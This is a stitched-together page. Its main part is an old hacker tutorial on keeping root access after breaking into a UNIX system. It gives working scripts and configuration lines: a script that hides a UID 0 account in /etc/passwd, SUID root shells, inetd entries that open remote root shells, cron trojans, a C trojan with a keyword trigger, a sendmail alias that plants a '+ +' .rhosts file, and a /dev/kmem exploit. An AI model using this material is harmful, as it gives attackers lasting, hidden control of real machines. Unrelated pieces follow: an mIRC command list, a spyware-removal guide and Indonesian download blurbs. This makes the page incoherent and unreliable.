Backdoor

Ok..... You've been at it for all night. Trying all the exploits you can think of. The system seems tight. The system looks tight.
The system *is* tight. You've tried everything. Default passwds, guessable passwds, NIS weaknesses, NFS holes, incorrect
permissions, race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT! What's that!?!? A "#" ???? Finally!
After seeming endless toiling, you've managed to steal root. Now what? How do you hold onto this precious super-user
privilege you have worked so hard to achieve....?

This article is intended to show you how to hold onto root once you have it. It is intended for hackers and administrators alike.
From a hacking perspective, it is obvious what good this paper will do you. Admin's can likewise benefit from this paper. Ever
wonder how that pesky hacker always manages to pop up, even when you think you've completely eradicated him from your
system?
This list is BY NO MEANS comprehensive. There are as many ways to leave backdoors into a UNIX computer as there are
ways into one.

Beforehand

Know the location of critical system files. This should be obvious (If you can't list any of the top of your head, stop reading
now, get a book on UNIX, read it, then come back to me...). Familiarity with passwd file formats (including general 7 field
format, system specific naming conventions, shadowing mechanisms, etc...). Know vi. Many systems will not have those
robust, user-friendly editors such as Pico and Emacs. Vi is also quite useful for needing to quickly seach and edit a large file. If
you are connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to have a robust terminal program that has a
nice, FAT scrollback buffer. This will come in handy if you want to cut and paste code, rc files, shell scripts, etc...

The permenance of these backdoors will depend completely on the technical saavy of the administrator. The experienced and
skilled administrator will be wise to many (if not all) of these backdoors. But, if you have managed to steal root, it is likely the
admin isn't as skilled (or up to date on bug reports) as she should be, and many of these doors may be in place for some time
to come. One major thing to be aware of, is the fact that if you can cover you tracks during the initial break-in, no one will be
looking for back doors.



The Overt

[1] Add a UID 0 account to the passwd file. This is probably the most obvious and quickly discovered method of rentry. It
flies a red flag to the admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO NOT simply
prepend or append it. Anyone causally examining the passwd file will see this. So, why not stick it in the middle...

#!/bin/csh
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED.  Oh well.
# daemon9@netcom.com

set linecount = `wc -l /etc/passwd`
cd                                      # Do this at home.
cp /etc/passwd ./temppass               # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1                     # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass         # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd                   # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...

NEVER, EVER, change the root password. The reasons are obvious.

[2] In a similar vein, enable a disabled account as UID 0, such as Sync. Or, perhaps, an account somwhere buried deep in the
passwd file has been abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove the '*' from the second
field).

[3] Leave an SUID root shell in /tmp.

#!/bin/sh
# Everyone's favorite...

cp /bin/csh /tmp/.evilnaughtyshell      # Don't name it that...
chmod 4755 /tmp/.evilnaughtyshell

Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmp mounted
to disallow SUID programs from executing. You can change all of these, but if the filesystem starts filling up, people may
notice...but, hey, this *is* the overt section....). I will not detail the changes neccessary because they can be quite system
specific. Check out /var/spool/cron/crontabs/root and /etc/fstab.



The Veiled

[4] The super-server configuration file is not the first place a sysadmin will look, so why not put one there? First, some
background info: The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP ports and spawns the
appropriate program (usally a server) when a connection request arrives. The format of the /etc/inetd.conf file is simple. Typical
lines look like this:

(1)     (2)     (3)     (4)     (5)     (6)             (7)
ftp     stream  tcp     nowait  root    /usr/etc/ftpd   ftpd
talk    dgram   udp     wait    root    /usr/etc/ntalkd ntalkd

Field (1) is the daemon name that should appear in /etc/services. This tells inetd what to look for in /etc/services to determine
which port it should associate the program name with. (2) tells inetd which type of socket connection the daemon will expect.
TCP uses streams, and UDP uses datagrams. Field (3) is the protocol field which is either of the two transport protocols, TCP
or UDP. Field (4) specifies whether or not the daemon is iterative or concurrent. A 'wait' flag indicates that the server will
process a connection and make all subsequent connections wait. 'Nowait' means the server will accept a connection, spawn a
child process to handle the connection, and then go back to sleep, waiting for further connections. Field (5) is the user (or more
inportantly, the UID) that the daemon is run as. (6) is the program to run when a connection arrives, and (7) is the actual
command (and optional arguments). If the program is trivial (usally requiring no user interaction) inetd may handle it internally.
This is done with an 'internal' flag in fields (6) and (7).
So, to install a handy backdoor, choose a service that is not used often, and replace the daemon that would normally handle it
with something else. A program that creates an SUID root shell, a program that adds a root account for you in the /etc/passwd
file, etc...
For the insinuation-impaired, try this:

Open the /etc/inetd.conf in an available editor. Find the line that reads:

       
        daytime stream  tcp     nowait  root    internal

and change it to:

        daytime stream  tcp     nowait /bin/sh  sh -i. 

You now need to restart /etc/inetd so it will reread the config file. It is up to you how you want to do this. You can kill and
restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL network connections (so it is a good idea
to do this off peak hours).

[5] An option to compromising a well known service would be to install a new one, that runs a program of your choice. One
simple solution is to set up a shell the runs similar to the above backdoor. You need to make sure the entry appears in
/etc/services as well as in /etc/inetd.conf. The format of the /etc/services file is simple:

(1)       (2)/(3)          (4)
smtp      25/tcp           mail   

Field (1) is the service, field (2) is the port number, (3) is the protocol type the service expects, and (4) is the common name
associated with the service. For instance, add this line to /etc/services:

        evil    22/tcp          evil

and this line to /etc/inetd.conf:

        evil    stream  tcp     nowait  /bin/sh sh -i

Restart inetd as before.

Note: Potentially, these are a VERY powerful backdoors. They not only offer local rentry from any account on the system,
they offer rentry from *any* account on *any* computer on the Internet.

[6] Cron-based trojan I. Cron is a wonderful system administration tool. It is also a wonderful tool for backdoors, since root's
crontab will, well, run as root... Again, depending on the level of experience of the sysadmin (and the implementation), this
backdoor may or may not last. /var/spool/cron/crontabs/root is where root's list for crontabs is usally located. Here, you have
several options. I will list a only few, as cron-based backdoors are only limited by your imagination. Cron is the clock daemon.
It is a tool for automatically executing commands at specified dates and times. Crontab is the command used to add, remove,
or view your crontab entries. It is just as easy to manually edit the /var/spool/crontab/root file as it is to use crontab. A crontab
entry has six fields:

(1)     (2)     (3)     (4)     (5)     (6)
 0       0       *       *       1       /usr/bin/updatedb     

Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12), day of the week
(0-6). Field (6) is the command (or shell script) to execute. The above shell script is executed on Mondays. To exploit cron,
simply add an entry into /var/spool/crontab/root. For example: You can have a cronjob that will run daily and look in the
/etc/passwd file for the UID 0 account we previously added, and add him if he is missing, or do nothing otherwise (it may not
be a bad idea to actually *insert* this shell code into an already installed crontab entry shell script, to further obfuscate your
shady intentions). Add this line to /var/spool/crontab/root:

        0       0       *       *       *       /usr/bin/trojancode

This is the shell script:

#!/bin/csh
# Is our eviluser still on the system?  Let's make sure he is.
#daemon9@netcom.com

set evilflag = (`grep eviluser /etc/passwd`)   


if($#evilflag == 0) then                        # Is he there?
       
        set linecount = `wc -l /etc/passwd`
        cd                                      # Do this at home.
        cp /etc/passwd ./temppass               # Safety first.
        @ linecount[1] /= 2
        @ linecount[1] += 1                     # we only want 2 temp files
        split -$linecount[1] ./temppass         # passwd string optional
        echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
        cat ./xab >> ./xaa
        mv ./xaa /etc/passwd
        chmod 644 /etc/passwd                   # or whatever it was beforehand
        rm ./xa* ./temppass
        echo Done...
else
endif  

[7] Cron-based trojan II. This one was brought to my attention by our very own Mr. Zippy. For this, you need a copy of the
/etc/passwd file hidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we have but one entry, a root
account with a passwd of your choosing. We run a cronjob that will, every morning at 2:30am (or every other morning), save a
copy of the real /etc/passwd file, and install this trojan one as the real /etc/passwd file for one minute (synchronize swatches!).
Any normal user or process trying to login or access the /etc/passwd file would get an error, but one minute later, everything
would be ok. Add this line to root's crontab file:


        29      2       *       *       *       /bin/usr/sneakysneaky_passwd

make sure this exists:

#echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky

and this is the simple shell script:

#!/bin/csh
# Install trojan /etc/passwd file for one minute
#daemon9@netcom.com

cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.sneaky /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd

[8] Compiled code trojan. Simple idea. Instead of a shell script, have some nice C code to obfuscate the effects. Here it is.
Make sure it runs as root. Name it something innocous. Hide it well.

/* A little trojan to create an SUID root shell, if the proper argument is
given.  C code, rather than shell to hide obvious it's effects. */
/* daemon9@netcom.com */

#include

#define KEYWORD "industry3"
#define BUFFERSIZE 10  

int main(argc, argv)
int argc;
char *argv[];{

        int i=0;

        if(argv[1]){            /* we've got an argument, is it the keyword? */

                if(!(strcmp(KEYWORD,argv[1]))){
                       
                                /* This is the trojan part. */
                        system("cp /bin/csh /bin/.swp121");
                        system("chown root /bin/.swp121");
                        system("chmod 4755 /bin/.swp121");
                }
        }
                                /* Put your possibly system specific trojan
                                   messages here */
                                /* Let's look like we're doing something... */
        printf("Sychronizing bitmap image records.");
        /* system("ls -alR / >& /dev/null > /dev/null&"); */
        for(;i<10;i++){
                fprintf(stderr,".");           
                sleep(1);
        }
        printf("\nDone.\n");
        return(0);
} /* End main */

[9] The sendmail aliases file. The sendmail aliases file allows for mail sent to a particular username to either expand to several
users, or perhaps pipe the output to a program. Most well known of these is the uudecode alias trojan. Simply add the line:

 "decode: "|/usr/bin/uudecode"

to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts file with the full pathname embedded.

#! /bin/csh

# Create our .rhosts file.  Note this will output to stdout.

echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts

Next telnet to the desired site, port 25. Simply fakemail to decode and use as the subject body, the uuencoded version of the
.rhosts file. For a one liner (not faked, however) do this:

%echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com

You can be as creative as you wish in this case. You can setup an alias that, when mailed to, will run a program of your
choosing. Many of the previous scripts and methods can be employed here.



The Covert

[10] Trojan code in common programs. This is a rather sneaky method that is really only detectable by programs such tripwire.
The idea is simple: insert trojan code in the source of a commonly used program. Some of most useful programs to us in this
case are su, login and passwd because they already run SUID root, and need no permission modification. Below are some
general examples of what you would want to do, after obtaining the correct sourcecode for the particular flavor of UNIX you
are backdooring. (Note: This may not always be possible, as some UNIX vendors are not so generous with thier sourcecode.)
Since the code is very lengthy and different for many flavors, I will just include basic psuedo-code:

get input;
if input is special hardcoded flag, spawn evil trojan;
else if input is valid, continue;
else quit with error;
...

Not complex or difficult. Trojans of this nature can be done in less than 10 lines of additional code.



The Esoteric

[11] /dev/kmem exploit. It represents the virtual of the system. Since the kernel keeps it's parameters in memory, it is possible
to modify the memory of the machine to change the UID of your processes. To do so requires that /dev/kmem have read/write
permission. The following steps are executed: Open the /dev/kmem device, seek to your page in memory, overwrite the UID of
your current process, then spawn a csh, which will inherit this UID. The following program does just that.

/* If /kmem is is readable and writable, this program will change the user's
UID and GID to 0.  */
/* This code originally appeared in "UNIX security:  A practical tutorial"
with some modifications by daemon9@netcom.com */

#include
#include
#include
#include
#include
#include
#include

#define KEYWORD "nomenclature1"

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{

        int count, fd;
        long where, lseek();
       
        if(argv[1]){            /* we've got an argument, is it the keyword? */
                if(!(strcmp(KEYWORD,argv[1]))){
                        fd=(open("/dev/kmem",O_RDWR);

                        if(fd<0){
                                printf("Cannot read or write to /dev/kmem\n");
                                perror(argv);
                                exit(10);      
                        }
                               
                        userlocation=address();
                        where=(lseek(fd,userlocation,0);
       
                        if(where!=userlocation){
                                printf("Cannot seek to user page\n");
                                perror(argv);
                                exit(20);
                        }

                        count=read(fd,&userpage,sizeof(struct user));
       
                        if(count!=sizeof(struct user)){
                                printf("Cannot read user page\n");
                                perror(argv);
                                exit(30);
                        }      

                        printf("Current UID: %d\n",userpage.u_ruid);
                        printf("Current GID: %d\n",userpage.g_ruid);
                       
                        userpage.u_ruid=0;
                        userpage.u_rgid=0;
                       
                        where=lseek(fd,userlocation,0);

                        if(where!=userlocation){       
                                printf("Cannot seek to user page\n");
                                perror(argv);
                                exit(40);
                        }
                       
                        write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
                       
                        execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
                }
        }

} /* End main */

#include
#include
#include

#define LNULL ((LDFILE *)0)

long address(){
       
        LDFILE *object;
        SYMENT symbol;
        long idx=0;

        object=ldopen("/unix",LNULL);

        if(!object){
                fprintf(stderr,"Cannot open /unix.\n");
                exit(50);
        }

        for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
                if(!strcmp("_u",ldgetname(object,&symbol))){
                        fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
                        ldclose(object);
                        return(symbol.n_value);
                }
        }

        fprintf(stderr,"Cannot read symbol table in /unix.\n");
        exit(60);
}

[12] Since the previous code requires /dev/kmem to be world accessable, and this is not likely a natural event, we need to take
care of this. My advice is to write a shell script similar to the one in [7] that will change the permissions on /dev/kmem for a
discrete amount of time (say 5 minutes) and then restore the original permissions. You can add this source to the source in [7]:

chmod 666 /dev/kmem
sleep 300               # Nap for 5 minutes
chmod 600 /dev/kmem     # Or whatever it was before



From The Infinity Concept Issue II

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All MIRC Command

 All mIRC Commands

/ Recalls the previous command entered in the current window.
/! Recalls the last command typed in any window.
/action {action text} Sends the specifed action to the active channel or query window.
/add [-apuce] {filename.ini} Loads aliases, popups, users, commands, and events.
/ame {action text} Sends the specifed action to all channels which you are currently on.
/amsg {text} Sends the specifed message to all channels which you are currently on.
/auser {level} {nick|address} Adds a user with the specified access level to the remote users
list.
/auto [on|off|nickname|address] Toggles auto-opping of a nick or address or sets it on or off
totally.
/away {away message} Sets you away leave a message explaining that you are not currently paying
attention to IRC.
/away Sets you being back.
/ban [#channel] {nickname} [type] Bans the specified nick from the curent or given channel.
/beep {number} {delay} Locally beeps 'number' times with 'delay' in between the beeps. /channel
Pops up the channel central window (only works in a channel).
/clear Clears the entire scrollback buffer of the current window.
/ctcp {nickname} {ping|finger|version|time|userinfo|clientinfo} Does the given ctcp request on
nickname.
/closemsg {nickname} Closes the query window you have open to the specified nick.
/creq [ask | auto | ignore] Sets your DCC 'On Chat request' settings in DCC/Options.
/dcc send {nickname} {file1} {file2} {file3} ... {fileN} Sends the specified files to nick.
/dcc chat {nickname} Opens a dcc window and sends a dcc chat request to nickname.
/describe {#channel} {action text} Sends the specifed action to the specified channel window.
/dde [-r] {service} {topic} {item} [data] Allows DDE control between mIRC and other
applications.
/ddeserver [on [service name] | off] To turn on the DDE server mode, eventually with a given
service name.
/disable {#groupname} De-activates a group of commands or events.
/disconnect Forces a hard and immediate disconnect from your IRC server. Use it with care.
/dlevel {level} Changes the default user level in the remote section.
/dns {nickname | IP address | IP name} Uses your providers DNS to resolve an IP address.
/echo [nickname|#channel|status] {text} Displays the given text only to YOU on the given place
in color N.
/enable {#groupname} Activates a group of commands or events.
/events [on|off] Shows the remote events status or sets it to listening or not.
/exit Forces mIRC to closedown and exit.
/finger Does a finger on a users address.
/flood [{numberoflines} {seconds} {pausetime}] Sets a crude flood control method.
/fsend [on|off] Shows fsends status and allows you to turn dcc fast send on or off.
/fserve {nickname} {maxgets} {homedirectory} [welcome text file] Opens a fileserver.
/guser {level} {nick} [type] Adds the user to the user list with the specified level and
address type.
/help {keyword} Brings up the Basic IRC Commands section in the mIRC help file.
/ignore [on|off|nickname|address] Toggles ignoring of a nick or address or sets it on or off
totally.
/invite {nickname} {#channel} Invites another user to a channel.
/join {#channel} Makes you join the specified channel.
/kick {#channel} {nickname} Kicks nickname off a given channel.
/list [#string] [-min #] [-max #] Lists all currently available channels, evt. filtering for
parameters.
/log [on|off] Shows the logging status or sets it on or off for the current window.
/me {action text} Sends the specifed action to the active channel or query window.
/mode {#channel|nickname} [[+|-]modechars [parameters]] Sets channel or user modes.
/msg {nickname} {message} Send a private message to this user without opening a query window.
/names {#channel} Shows the nicks of all people on the given channel.
/nick {new nickname} Changes your nickname to whatever you like.
/notice {nick} {message} Send the specified notice message to the nick.
/notify [on|off|nickname] Toggles notifying you of a nick on IRC or sets it on or off totally.
/onotice [#channel] {message} Send the specified notice message to all channel ops.
/omsg [#channel] {message} Send the specified message to all ops on a channel.
/part {#channel} Makes you leave the specified channel.
/partall Makes you leave all channels you are on.
/ping {server address} Pings the given server. NOT a nickname.
/play [-c] {filename} [delay] Allows you to send text files to a window.
/pop {delay} [#channel] {nickname} Performs a randomly delayed +o on a not already opped nick.
/protect [on|off|nickname|address] Toggles protection of a nick or address or sets it on or off
totally.
/query {nickname} {message} Open a query window to this user and send them the private message.
/quit [reason] Disconnect you from IRC with the optional byebye message.
/raw {raw command} Sends any raw command you supply directly to the server. Use it with care!!
/remote [on|off] Shows the remote commands status or sets it to listening or not.
/rlevel {access level} Removes all users from the remote users list with the specified access
level.
/run {c:\path\program.exe} [parameters] Runs the specified program, evt. with parameters.
/ruser {nick[!]|address} [type] Removes the user from the remote users list.
/save {filename.ini} Saves remote sections into a specified INI file.
/say {text} Says whatever you want to the active window.
/server [server address [port] [password]] Reconnects to the previous server or a newly
specified one.
/sound [nickname|#channel] {filename.wav} {action text} Sends an action and a fitting sound.
/speak {text} Uses the external text to speech program Monologue to speak up the text.
/sreq [ask | auto | ignore] Sets your DCC 'On Send request' settings in DCC/Options.
/time Tells you the time on the server you use.
/timer[N] {repetitions} {interval in seconds} {command} [| {more commands}] Activates a timer.
/topic {#channel} {newtopic} Changes the topic for the specified channel.
/ulist [{|}]{level} Lists all users in the remote list with the specified access levels.
/url [-d] Opens the URL windows that allows you to surf the www parallel to IRC.
/uwho [nick] Pops up the user central with information about the specified user.
/who {#channel} Shows the nicks of all people on the given channel.
/who {*address.string*} Shows all people on IRC with a matching address.
/whois {nickname} Shows information about someone in the status window.
/whowas {nickname} Shows information about someone who -just- left IRC.
/wavplay {c:\path\sound.wav} Locally plays the specified wave file.
/write [-cidl] {filename} [text] To write the specified text to a .txt file.

MoViEBoT #xdcc-help /server irc.atomic-irc.net

We strive to make IRC easier for you!

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All About Spyware

There are a lot of PC users that know little about "Spyware", "Mal-ware", "hijackers", "Dialers" & many more. This will help you avoid pop-ups, spammers and all those baddies.

What is spy-ware?
Spy-ware is Internet jargon for Advertising Supported software (Ad-ware). It is a way for shareware authors to make money from a product, other than by selling it to the users. There are several large media companies that offer them to place banner ads in their products in exchange for a portion of the revenue from banner sales. This way, you don't have to pay for the software and the developers are still getting paid. If you find the banners annoying, there is usually an option to remove them, by paying the regular licensing fee.

Known spywares
There are thousands out there, new ones are added to the list everyday. But here are a few:
Alexa, Aureate/Radiate, BargainBuddy, ClickTillUWin, Conducent Timesink, Cydoor, Comet Cursor, eZula/KaZaa Toptext, Flashpoint/Flashtrack, Flyswat, Gator, GoHip, Hotbar, ISTbar, Lions Pride Enterprises/Blazing Logic/Trek Blue, Lop (C2Media), Mattel Brodcast, Morpheus, NewDotNet, Realplayer, Songspy, Xupiter, Web3000, WebHancer, Windows Messenger Service.

How to check if a program has spyware?
The is this Little site that keeps a database of programs that are known to install spyware.

Check Here: http://www.spywareguide.com/product_search.php

If you would like to block pop-ups (IE Pop-ups).
There tons of different types out there, but these are the 2 best, i think.

Try: Google Toolbar (http://toolbar.google.com/) This program is Free
Try: AdMuncher (http://www.admuncher.com) This program is Shareware

If you want to remove the "spyware" try these.
Try: Lavasoft Ad-Aware (http://www.lavasoftusa.com/) This program is Free
Info: Ad-aware is a multi spyware removal utility, that scans your memory, registry and hard drives for known spyware components and lets you remove them. The included backup-manager lets you reinstall a backup, offers and multi language support.

Try: Spybot-S&D (http://www.safer-networking.org/) This program is Free
Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer. Blocks ActiveX downloads, tracking cookies and other threats. Over 10,000 detection files and entries. Provides detailed information about found problems.

Try: BPS Spyware and Adware Remover (http://www.bulletproofsoft.com/spyware-remover.html) This program is Shareware
Info: Adware, spyware, trackware and big brotherware removal utility with multi-language support. It scans your memory, registry and drives for known spyware and lets you remove them. Displays a list and lets you select the items you'd like to remove.

Try: Spy Sweeper v2.2 (http://www.webroot.com/wb/products/spysweeper/index.php) This program is Shareware
Info: Detects and removes spyware of different kinds (dialers, loggers, trojans, user tracks) from your computer.
The best scanner out there, and updated all the time.

Try: HijackThis 1.97.7 (http://www.spywareinfo.com/~merijn/downloads.html) This program is Freeware
Info: HijackThis is a tool, that lists all installed browser add-on, buttons, startup items and allows you to inspect them, and optionally remove selected items.


If you would like to prevent "spyware" being install.
Try: SpywareBlaster 2.6.1 (http://www.wilderssecurity.net/spywareblaster.html) This program is Free
Info: SpywareBlaster doesn`t scan and clean for so-called spyware, but prevents it from being installed in the first place. It achieves this by disabling the CLSIDs of popular spyware ActiveX controls, and also prevents the installation of any of them via a webpage.

Try: SpywareGuard 2.2 (http://www.wilderssecurity.net/spywareguard.html) This program is Free
Info: SpywareGuard provides a real-time protection solution against so-called spyware. It works similar to an anti-virus program, by scanning EXE and CAB files on access and alerting you if known spyware is detected.

Try: XP-AntiSpy (http://www.xp-antispy.org/) This program is Free
Info: XP-AntiSpy is a small utility to quickly disable some built-in update and authentication features in WindowsXP that may rise security or privacy concerns in some people.

Try: SpySites (http://camtech2000.net/Pages/SpySites_Prog...ml#SpySitesFree) This program is Free
Info: SpySites allows you to manage the Internet Explorer Restricted Zone settings and easily add entries from a database of 1500+ sites that are known to use advertising tracking methods or attempt to install third party software.

If you would like more Information about "spyware".
Check these sites.
http://www.spychecker.com/
http://www.spywareguide.com/
http://www.cexx.org/adware.htm
http://www.theinfomaniac.net/infomaniac/co...rsSpyware.shtml
http://www.thiefware.com/links/
http://simplythebest.net/info/spyware.html

Usefull tools...
Try: Stop Windows Messenger Spam 1.10 (http://www.jester2k.pwp.blueyonder.co.uk/j...r2ksoftware.htm) This program is Free
Info: "Stop Windows Messenger Spam" stops this Service from running and halts the spammers ability to send you these messages.

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All these softwares will help remove and prevent evil spammers and spywares attacking your PC. I myself recommend getting "spyblaster" "s&d spybot" "spy sweeper" & "admuncher" to protect your PC. A weekly scan is also recommended

Free Virus Scan
Scan for spyware, malware and keyloggers in addition to viruses, worms and trojans. New threats and annoyances are created faster than any individual can keep up with.
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Ini adalah program baru seperti Outlook bedanya ini bukan buatan microsoft danjuga program ini bisa menggunakan banyak id dalam satu waktu seperti Thunderbird untuk mendownload nya ini link nya: wikmail_setup.exe

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Sofware ini dugunakan untuk anda yang ingin mencetak halaman sebuah web yang anda kunjungi. Sesuai namanya program ini hanya bisa digunakan untuk browser internet Explorer untuk mendownload nya : printee.exe

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